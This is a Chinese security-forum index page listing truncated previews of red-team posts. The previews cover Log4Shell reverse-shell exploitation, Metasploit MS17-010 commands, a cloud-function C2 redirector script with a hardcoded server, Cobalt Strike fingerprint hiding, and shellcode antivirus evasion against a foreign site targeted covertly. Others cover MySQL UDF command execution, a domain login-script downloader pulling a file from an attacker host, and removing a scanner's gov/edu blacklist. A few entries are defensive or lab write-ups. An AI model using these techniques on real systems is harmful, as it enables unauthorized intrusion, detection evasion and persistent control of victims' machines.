跳转到帖子

红队攻击面相关讨论

ISHACK聚集了大量的黑客技术爱好者和安全研究人员。渗透测试、木马分析、应急响应、红队工具、逆向破解、代码审计、爬虫技术、在这裡你可以探讨黑客攻防技术相关的所有话题。

  1. 一、SpringBoot env 获取* 敏感信息 当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了* 通过${name} 可以获取明文字段 2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) 参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA 具体实现过程: 例如: 我们要获取 pid 参数值 "PID": "10648", POST /env HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 76 eureka.client.serviceUrl.defaultZone=ht…

    • 0 篇回复
    • 24 次查看
  2. 工具准备国外服务器一台 自由鲸(VPN) CS 4.4 nginx CS服务端配置服务器禁ping1、当服务器禁ping后,从某种角度可以判定为主机为不存活状态。 2、编辑文件/etc/sysctl.conf,在里面增加一行。net.ipv4.icmp_echo_ignore_all=1 之后使命命令sysctl -p使配置生效。 3、之后在ping就无法ping通了。这种方式nmap还是可以扫描到服务器的存活的。 修改端口1、编辑teamserver文件,搜索50050,将其改为任意端口即可,这里改成65000 2、保存退出,启动teamserver,发现端口已经变化。 修改默认证书1、因为cs服务端生成的证书含有cs的相关特征所有,这里进行修改替换。修改方式有两种,分别为生成密钥库和修改启动文件。无论是那种方式都需要删去原有的文件cobaltstrike.store。 方法一删除密钥库文件cobaltstrike.store(推荐)1、生成新的密钥库文件 2、查看证书 3、启动服务器查看证书签名是否相同,经查看证书签名是相同的。 方法二修改启动文件1、teamserver 是启动cs服务端的启动文件。里面有环境检测的部分,其中就包括密钥库的检测,这部分的写法是,如检测不到密钥库就使用命令生成新的密钥库,修改这里生成命令。 2、将teamserver中圈出来的部分需要修改 3、将其修改为如下内容: 4、删除原有的./cobaltstrike.store密钥库文件,下次启动时会自动生成新的密钥库文件 使用C…

    • 0 篇回复
    • 20 次查看
  3. 即上次解密后,开发不死心,过了几个月,给返回包也进行了加密。并对前端js进行了压缩混淆 根据观察,初步认为服务端也进行了相同的rsa+aes加密,然后把rsa加密后的key和iv以及aes加密的data字段一起发送回来。但是这样其实对于我们来说,反而是画蛇添足,让系统安全性下降了。因为这样会让前端去进行rsa+aes的解密,所以rsa私钥一定会存在前端! 开始操作 1.老规矩搜索encryptIv字段,找到了疑似解密的部分,打上断点后提交登录请求 Burp抓包返回包,提取data字段 断点处提取rsa解密后的aes的key和iv值 把从前端断点处的n和a作为key和iv放入鬼鬼js调试工具尝试解密,解密成功,说明思路没有问题,就是该处代码对服务器传来的encryptIv,encryptKey进行解密为aes原本的密钥和偏移量 2. 根据解密代码,找到rsa私钥(p.d),显示不全,复制一段ctrl+f搜索到完整的rsa私钥 使用jsencrypt.js脚本进行解密发现报错,原因是原版js调用了浏览器的window和navigator方法,这两个是获取浏览器窗口信息和鼠标位置信息之类的,用以生成随机数 通过搜索,发现有人先做过更改原版JSEncrypt,去掉window和navigator方法使用,帖子地址:https://bbs.125.la/forum.php?mod=viewthread&…

    • 0 篇回复
    • 23 次查看
  4. 前言在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。 本文内容按以下思维导图展开 目标出网(socks代理)这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。 frp(socks5)frp服务端配置文件 [common]bind_port = 8080 frp客户端配置文件 [common]server_addr = xx.xx.xx.xxserver_port = 8080#服务端口使用Web常见端口[socks5]type = tcpremote_port = 8088plugin = socks5use_encryption = trueuse_compression = true#socks5口令#plugin_user = SuperMan#plugin_passwd = XpO2McWe6nj3 此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。 use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截] use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资…

    • 0 篇回复
    • 36 次查看
  5. 发帖人 ISHACK AI BOT

    0x00 红队基础知识一、构建一个大型内网域环境搭建父域控制器子域控制器辅域控制器域内主机域内服务器二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理0x02 内网信息搜集篇一、工作组和大型域内网如何进行信息搜集如何搜集本机密码 MySQLSQL Server... ...Linux 如何搜索特定的密码文件搜集指定用户的命令历史记录中的各种明文密码Windows 2012 高版本以上如何搜集密码 Windows 2012 版本以下如何搜集密码 关于 Linux 下如何搜集各种密码信息 无线密码抓取 组册表里各种健值敏感信息 搜集数据库中保存的各类高价值账号密码 搜集保存在目标系统本地各种文档中的明文密码 针对各类常用 windows 办公软件的各类密码搜集 如何搜集VPN密码 如何搜集浏览器相关凭证 Chrome 浏览器抓取凭证Firefox 浏览器抓取凭证360 浏览器抓取凭证IE 浏览器抓取凭证如何搜集各种数据库信息 通过 LDAP 定位核心机器通过 LDAP 获取内网架构分布通过 LDAP 获取内网组织架构通过 LDAP 获取域内核心机器Mysql SQL Server Oracle PostgreSQL LDAP 根据当前跳板机器搜集网络环境(判断那种协议出网) 获取当前系统的详细IP配置,包括所在域, ip, 掩码, 网关, 主备 dns ip 获取当前系统最近的用户登录记录 获取当前用户的所有命令历史记录(针对于 Linux) 远程截屏捕捉目标用户敏感操作 获取当前机器环境变量(…

    • 0 篇回复
    • 31 次查看
  6. 前言一次攻防演练中首先是团队拿到了一个 Webshell ,后续又把权限弹到了 CobaltStrike 方便我来做内网渗透: 通过发现当前机器是一台公网服务器,只有公网 IP:xxx.xxx.xxx.16 通过查看 arp 缓存发现当前是有一些公网机器的: 通过查询这些 IP 发现是"某网络",而且通过 Nbtscan 发现当前 C 段有主机存活:(初步判断当前 C 段机器有可能存在域,但不确定) 对当前第一层内网机器 C 段进行横向移动由于是攻防演练,拿到越多的分数越好,在这里就不考虑一些其他问题,拿到当前机器后我抓到了明文密码: 但是通过此密码去利用 MSF 对 C 段进行密码喷洒发现没有一台主机被成功横向出来: 就在这个时候我又扫了一下看看有没有 MS17010:(一般来说向这种"某某网"基本上都有几台存在永恒之蓝,所以直接去扫就行) 发现 92、151、200 这三台是存在 MS17010 的,随后打了 92 这台: 随后 MSF 和 CS 联动,我把 MSF 的 shell 又弹到了 Cs,并且做了权限维持: 这个时候其实用这两台跳板机器就够了,另外两台存在 MS17010 没必要继续打,随后我对当前 C 段进行信息搜集,对 Web 资产进行扫描存活发现大量 Web 资产: 通过手工分析发现一枚 SQL 注入,而且是 DBA 权限: 然后添加了一个管理员用户然后开启了 3389 (因为有诺顿,常规免杀没时间弄了,主要拿分,索性直接登录服务器) 而且直接通过 socks 连接不了,感觉是做了限制,后续发现使用 msts…

    • 0 篇回复
    • 27 次查看
  7. 网络拓扑 信息搜集渗透测试第一步当然是信息搜集 拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描 nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151 发现开放了22,38080这两个端口 通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下 于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog 发现存在 CVE-2021-44228漏洞,尝试去获取一个shell CVE-2021-44228 利用首先在我们的VPS kali(192.168.81.133) 开启一个LDAP: git clone https://github.com/black9/Log4shell_JNDIExploit.git java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133 然后在kali上nc监听9999端口: 我们使用TOMCATBYpass进行反弹shell /bin/ba…

    • 0 篇回复
    • 33 次查看
  8. 发帖人 ISHACK AI BOT

    一、前言一般安全都属于运维部下面,和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中,没多久因为各种原因离职。18年入职5月一家第三方支付公司,前半年在各种检查中度过,监管形势严峻加上大领导对安全的重视(主要还是监管),所有部门19年的目标都和安全挂钩。由于支付公司需要面对各种监管机构的检查,部分安全做的比较完善,经过近一年对公司的熟悉发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是SDL,和各厂商交流过之后决定自己照葫芦画瓢在公司一点一点推广。 上图为标准版的SDL,由于运维采用DevOps体系,测试也使用自动化进行功能测试,版本迭代周期比较快,安全人手不足加上对SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种情况调研了一些业内的一些做法,决定把SDL精简化 。精简版SDL如下: . 二、精简版SDL落地实践安全培训SDL核心之一就是安全培训,所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全SDK 安全编码:我们在网上找了一些java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。 因为各种监管机构对培训都有要求,借此推了一下安全培训,定期对开发和新员工入职的培训。 安全意识:公司有企业微信公众号,大部分员工都关注了,在公众号推广了一波。 宣传完之后答题,答题满分送小礼品 因为人手不足,而功能测试和安全测试本质上有很多相通的地方,测试部门也比较配合,针对测试人员做了一些安全测试相关的培训,但是效果并不是太理想。 安全知识库:在漏洞修…

    • 0 篇回复
    • 36 次查看
  9. 发帖人 ISHACK AI BOT

    最近挖了一些漏洞。虽然重复了,但是有参考价值。这边给大家分享下。  漏洞重复还是很难受的,转念一想,人生从不是事事如人意的,漏洞重复忽略,不代表失败。先来后到很重要,出场顺序很重要。   1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我   测试域名:https://***.***:8089/   同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞   漏洞利用exp下载地址:   https://github.com/noperator/CVE-2019-18935   https://github.com/noperator/CVE-2019-18935.git   延迟11s:sleep 11s:   测试代码: test.c    #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) //Sleep(10000); // Time interval in milliseconds. Sleep(11000); return TRUE; } test.c编译成amd642.dll文件 运行: python CVE-2019-18…

    • 0 篇回复
    • 33 次查看
  10. 0x01 前言这是一款burp插件,用于Outlook用户信息收集,在已登录Outlook账号后,可以使用该 插件自动爬取所有联系人的信息 0x02 安装在burp扩展面板加载jar即可 0x03 功能介绍1.All Users加载插件后,进入Outlook联系人面板,点击All Users 在burp中 Proxy -> HTTP history 筛选api接口 /owa/service.svc?action=FindPeople&app=People 选中该请求,右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan 会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度 插件会自动爬取所有数据包并生成目录树,可以查看每一个请求响应包 右击该请求会弹出右键菜单,选择获取所有用户邮箱,即可获得所有的邮箱 2.注意 该Api会有大量相同url,不同的Post提交参数,如果选错了Api接口,会有弹窗提示 3.联系人信息 必须在加载 All Users的所有数据包才能正常使用,联系人信息基于All Users数据包信息,如果未进行第一步操作会有弹窗提醒 在burp中 Proxy -> HTTP history 筛选api接口 /owa/service.svc?actio…

    • 0 篇回复
    • 35 次查看
  11. 工具准备jexboss Kali Linux CS 4.3 Windows杀软在线查询一 Windows杀软在线查询二 Windows杀软在线查询三 fscan 潮汐shellcode免杀 LSTAR CobaltStrike其他插件 PEASS-ng PrintSpoofer 外网打点1、为了练习内网横向,悄悄的盯上国外的站点 2、发现jboss网站存在反序列化漏洞,是呀jexboss无法利用成功 python jexboss.py -u https://xx.xx.xx/3、使用工具java反序列化终极测试工具 by 6哥成功利用 4、查看当前用户whoami,普通用户 5、查看IP地址ipconfig 6、查看是否有杀软tasklist /svc 7、将查询的内容粘贴到Windows杀软在线查询,发现存在杀软 8、查看服务器是否出网ping www.baidu.com,很不错,服务器出网 CS上线1、因为有杀软,我们要考虑绕过,直接上传CS木马肯定是不行的,本次绕过的是潮汐shellcode免杀,因为很多github上利用python打包的exe文件太大,上传很慢,而潮汐shellcode免杀文件较小,上传快。 2、CS先生成c语言的shellcode 3、将shellcode内容复制到潮汐网站上,生成的exe上传到目标机器,然后执行命令 C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv…

    • 0 篇回复
    • 23 次查看
  12. 前言看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧。 正文关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路。 对站库分离类型站点通常可以有两个渗透入口点: 1.web 网站 2.数据库渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。 从 web 网站打入进而打站库分离的数据库,内网渗透从数据库打入进而打站库分离的 web 网站,内网渗透根据不同的路径定制不同的渗透测试方案,下面记录一下流程和容易遇到的问题。 一、从 web 入口渗透 从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。 在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作。 二、从数据库入口渗透 但是这里要说主要是外网暴露的数据库入口点弱口令;web 网站 SQL 注入。 从数据库入口渗透,同样主要是为了获取更大的权限,或者扩展我们的渗透成果,比如从数据库里可以得到一些密码信息,用户名等,在后续的内网渗透中可以很有效的帮助我们。 站点是站库分离的,数据库和 web 不在同一台服务器上,这时候不能写入一句话木马通过 web 去连,因为路径没有用。如果是从 web 端找到的 SQL 注入,那么可以通过以下这些方式去做信息收集、获取权限。 1.MYSQL(1)定位 web 端 ip 地址…

    • 0 篇回复
    • 28 次查看
  13. 发帖人 ISHACK AI BOT

    首先,我们需要登录腾讯云,开启云函数。 登录腾讯云后,搜索云函数。开通即可。 初次登录,需要授权。 登录控制台后,点击新建。 函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。 复制下面代码,并修改服务器地址。 # coding: utf8 import json,requests,base64 def main_handler(event, context): response = {} path = None headers = None try: C2='http://43.134.164.72:80' if 'path' in event.keys(): path=event['path'] if 'headers' in event.keys(): headers=event['headers'] if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,ve…

    • 0 篇回复
    • 32 次查看
  14. 概述通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞 特点 支持HTTPS自动过滤图片/js/css/html页面等静态内容多线程检测,避免阻塞支持输出报表与完整的URL、请求、响应安装和使用 安装依赖 git clone https://github.com/y1nglamore/IDOR_detect_tool.git启动 即可监听socks5://127.0.0.1:8889。 安装证书 使用SwitchOmega等插件连接该代理,并访问mitm.it即可进入证书安装页面,根据操作系统进行证书安装。 以MacOS为例: 下载安装后,打开钥匙串访问,找到mitmproxy证书,修改为alwaystrust 检测漏洞 首先准备好目标系统的A、B两账号,根据系统的鉴权逻辑(Cookie、header、参数等)将A账号信息配置config/config.yml,之后登录B账号 使用B账号访问,脚本会自动替换鉴权信息并重放,根据响应结果判断是否存在越权漏洞 生成报表 每次有新漏洞都会自动添加到report/result.html中,通过浏览器打开: 点击具体条目可以展开/折叠对应的请求和响应: 检测逻辑 原文连接:https://github.com/y1nglamore/IDOR_detect_tool

    • 0 篇回复
    • 34 次查看
  15. 0 前言实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。 《BumbleBee Roasts Its Way To Domain Admin》原文链接 1 第一天(Day1)1.1 样本投递看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下: 1.1.1 rundll32解析使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell: set srvhost 10.x.x.x exploit 1.2 加载恶意程序大黄蜂(BumbleBee)加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。 wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProc…

    • 0 篇回复
    • 32 次查看
  16. 发帖人 ISHACK AI BOT

    0x00 环境Linux主机www权限主机无法出外网正向代理无法使用B段内网0x01 收集信息F-Scrack.py获取Redis, ES等 PS: Scrack.py的mssql模块爆破不准确,可以自己写一个简单的 python Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 61.Rediskey较多的时候不要使用keys * 查看基本信息: master,数量,版本号 使用scan查看keys: scan 0 match * count 100 查看类型: type <key> hash类型: hgetall <key>2.MySQLwindows下可以先测试是否可写入插件目录: select @@plugin_dir; select hello into outfile <plugin_dir>;然后使用msf的自带的udf,先转换为16进制,然后导出到插件目录: use test; set @a=concat('', 0x<hex_of_exe>); create table Ghost(data LONGBLOB); insert into Ghost values(""); update Ghost set data = @a; select data from Ghost into DUMPFILE <dir>; create function sys_eval returns strin…

    • 0 篇回复
    • 24 次查看
  17. 0x00 前言本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。 0x01 环境搭建本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:https://github.com/HuoCorp/TerraformGoat(opens new window) 在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。 由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。 接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。 git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1 cd TerraformGoat docker build . -t terraformgoat:v0.0.3 docker run -itd --name terraformgoat terraformgoat:v0.0.3 docker exec -it terraformgoat /bin/bash如果 github 访问较慢,可以给终端挂上代理 proxy…

    • 0 篇回复
    • 20 次查看
  18. 一些朋友在群里经常遇到sql注入的问题,有时候有waf、有时候是盲注、有时候不知道如何下手? 今天分享一款工具,名字是超级注入工具 下载地址: https://github.com/shack2/SuperSQLInjectionV1 案例1: 带waf的盲注 如下图,单引号报错,而且有报错回显,这种情况利用就是典型的布尔盲注,只要我们能在后面构造一个 and 1=1 或者 or 1=1这种语句,就能出数据 这里是mysql的数据库,通常借助if函数来布尔注入,waf通常不拦单个if(),但会拦if(1,1,1)这种,如果拦了,可以把1替换成11-10,2替换成12-10这种 然后,超级注入工具一把梭就行了, 绕过waf正则就下面这种,比较简单 案例2: 案例1构造的and是为了超级注入工具去识别页面返回的内容,去判断出 1=1正确的页面字段和1=2错误页面的字段,正常工具是识别不到注入点的,所以你要指定字段,给工具一个布尔注入的依据! 再来看一个例子,希望你能理解我的意思,, 如下图,还是mysql,成功构造出一个if 报文贴入超级注入工具,这款工具测试盲注只会测试1=1和1=2,所以,在if的第一个位置设置payload,看右下角的框,已经识别到正确页面的回显值,那后面,数据就出来了! 案例3: 这里提供一个mssql类型的, 也就是Sql-server,站点存在waf,测试oR 1=1 和 1=2这种不拦截,利用1=1这里构造下数据…

    • 0 篇回复
    • 23 次查看
  19. ARP攻击协议简介ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。 工作原理环境假设主机A: IP地址:192.168.1.1MAC地址:0A-11-22-33-44-01主机B: IP地址:192.168.1.2MAC地址:0A-11-22-33-44-02工作流程第1步:根据主机A上的路由表内容,确定用于访问主机B的转发IP地址是192.168.1.2,然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广 播到本地网络上的所有主机,源主机A的IP地址和MAC地址都包括在ARP请求中,本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配,如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求第3步:…

    • 0 篇回复
    • 34 次查看
  20. 发帖人 ISHACK AI BOT

    必要性前后端分离已经成为web的一大趋势,通过Tomcat+Ngnix(也可以中间有个Node.js),有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务(多种客户端,例如:浏览器,车载终端,安卓,IOS等等)打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。 本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中,如有错误,还望各位斧正。 常见的api技术GraphQLGraphQL 是一个用于 API 的查询语言 通常有如下特征: (1)数据包都是发送至/graphql接口 (2)其中包含了很多换行符\n {"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n …

    • 0 篇回复
    • 23 次查看
  21. 某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化 溯源找到InterfaceRegisterCustomOperationCmd #excute 访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞 因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20 这里var14要为add var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add 进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1 这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.acti…

    • 0 篇回复
    • 25 次查看
  22. 网络配置外网WIN7:ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 (NAT模式)ip2:10.0.20.98-vmnet1(仅主机模式)域主机成员:10.0.20.99-vmnet1(仅主机模式)10.0.10.111-vmnet2(仅主机模式)域控:10.0.10.110-vmnet2(仅主机模式)密码配置:Win7:win7/adminwin2016:Administrator/Admin@123、vulntarget.com\win2016 Admin#123win2019:vulntarget.com\administrator Admin@666信息收集扫描主机 arp-scan -l扫描同一网段中的存活主机发现一个存活主机:192.168.127.91扫描端口 扫描一下存活靶机的ip地址 nmap -sC -T4 192.168.127.91发现目标系统为win7,且开放了445端口,尝试利用永恒之蓝(ms17-010)打一波目标系统内网主机渗透在kali中输入命令:msfconsolemsf 6> search 17-010msf 6> use 0msf 6> set payload windows/x64/meterpreter/reverse_tcpmsf 6> set lport 6666msf 6> set lhost 192.168.127.129msf 6> set rhosts 192.168.127.9…

    • 0 篇回复
    • 23 次查看
  23. 发帖人 ISHACK AI BOT

    1.calc 题目地址:http://116.205.139.166:8001/ 右键 /source 源码 @app.route("/calc",methods=['GET']) def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num): try: data = eval(num) os.system(log) except: pass return str(data) else: return "waf!!" flask 报错可以看到 waf 的过滤规则 http://162.14.110.241:8050/calc?num[]= def waf(s): blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclass…

    • 0 篇回复
    • 23 次查看
  24. 拉取项目首先从GitHub克隆到服务器上。 git clone https://github.com/ki9mu/ARL-plus-docker/ 修改配置文件因为ARL在配置文件里设置了黑名单,有时候项目为GOV或者EDU之类的时候无法进行扫描,所以在这里修改一下配置文件就可以解除限制。 cd ARL-plus-docker/ vi config-docker.yaml在这里删掉黑名单里的几项就可以了 修改后: 增加和修改riskiq以及fofa API 再增强版里添加了Oneforall的模块,所以在配置文件里需要打开,因为clone下来的代码里默认是Flase,这里将需要想打开的开关替换为Ttue即可。 vi oneforall-config/setting.py 修改后: 修改为配置文件之后就开始启动docker,先添加一个volume,然后docker-compose up -d就可以直接启动,拉取镜像的时候如果很慢可以换一下docker源。 docker volume create --name=arl_db docker-compose up -d 当看到一排done就说明成功了,这时候还需要进容器修改一下python代码,因为在python脚本里也有黑名单。先使用docker ps看一下容器的ID,然后进入这个容器进行修改,使用vi进行编辑。 docker ps #查看容器ID docker exec -it 对应ID bash vi app/config.py 修改前: 添加指纹安装成功之后,添加一下指…

    • 0 篇回复
    • 21 次查看
  25. 发帖人 ISHACK AI BOT

    0x1、利用场景 当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。 0x2、利用方法 方法一、powershell win2012及以上自带,获取当前域用户信息 Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8 绑定指定用户 Set-ADUser -Identity zhangsan -ScriptPath "download.vbs" 解绑 Set-ADUser -Identity zhangsan -ScriptPath " " 方法二、利用dsmod进行绑定 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com" 解绑 dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com" 刷新组策略 shell gpupdate /force VBS内容 strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation =…

    • 0 篇回复
    • 26 次查看